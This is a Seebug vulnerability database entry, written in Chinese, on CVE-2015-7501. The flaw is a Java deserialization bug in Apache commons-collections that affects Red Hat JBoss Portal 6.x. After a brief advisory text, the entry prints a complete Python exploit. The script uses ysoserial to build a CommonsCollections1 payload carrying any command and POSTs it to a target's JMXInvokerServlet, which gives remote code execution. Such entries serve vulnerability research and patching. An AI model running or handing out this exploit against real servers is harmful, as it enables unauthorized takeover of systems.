Lucene search

K
seebugRootSSV:89999
HistoryDec 04, 2015 - 12:00 a.m.

Red Hat JBoss Portal安全绕过漏洞

2015-12-0400:00:00
Root
www.seebug.org
1287

EPSS

0.018

Percentile

88.4%

漏洞详情:

Red Hat JBoss Portal是美国红帽(RedHat)公司的一套开源且符合标准的门户平台。该平台可搭建、布局一个门户网站的Web界面,用于发布、管理内容以及定制用户体验。 Red Hat JBoss Portal 6.x版本中存在安全漏洞。攻击者可利用该漏洞绕过安全限制。

详情:

apache commons-collections库的更新包,修复了一个安全问题,现在可供Red Hat JBoss Portal 6.2.0红帽客户门户。

Red Hat JBoss Portal的开源实现Java EE的服务和门户服务运行在Red Hat JBoss企业应用程序平台。

发现Apachecommons-collections库允许代码执行反序列化对象时涉及到一个特殊结构的的重链类。

远程攻击者可以利用这个漏洞执行任意代码使用commons-collections库与应用程序的权限。(cve - 2015 - 7501)进一步的信息安全漏洞可以在这个网站上找到:
https://access.redhat.com/solutions/2045023


                                                #! /usr/bin/env python2

# Jboss Java Deserialization RCE (CVE-2015-7501)
# Made with <3 by @byt3bl33d3r

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

import argparse
import sys, os
#from binascii import hexlify, unhexlify
from subprocess import check_output

ysoserial_default_paths = ['./ysoserial.jar', '../ysoserial.jar']
ysoserial_path = None

parser = argparse.ArgumentParser()
parser.add_argument('target', type=str, help='Target IP')
parser.add_argument('command', type=str, help='Command to run on target')
parser.add_argument('--proto', choices={'http', 'https'}, default='http', help='Send exploit over http or https (default: http)')
parser.add_argument('--ysoserial-path', metavar='PATH', type=str, help='Path to ysoserial JAR (default: tries current and previous directory)')

if len(sys.argv) < 2:
    parser.print_help()
    sys.exit(1)

args = parser.parse_args()

if not args.ysoserial_path:
    for path in ysoserial_default_paths:
        if os.path.exists(path):
            ysoserial_path = path
else:
    if os.path.exists(args.ysoserial_path):
        ysoserial_path = args.ysoserial_path

if ysoserial_path is None:
    print '[-] Could not find ysoserial JAR file'
    sys.exit(1)

if len(args.target.split(":")) != 2:
    print '[-] Target must be in format IP:PORT'
    sys.exit(1)

if not args.command:
    print '[-] You must specify a command to run'
    sys.exit(1)

ip, port = args.target.split(':')

print '[*] Target IP: {}'.format(ip)
print '[*] Target PORT: {}'.format(port)

gadget = check_output(['java', '-jar', ysoserial_path, 'CommonsCollections1', args.command])

r = requests.post('{}://{}:{}/invoker/JMXInvokerServlet'.format(args.proto, ip, port), verify=False, data=gadget)

if r.status_code == 200:
    print '[+] Command executed successfully'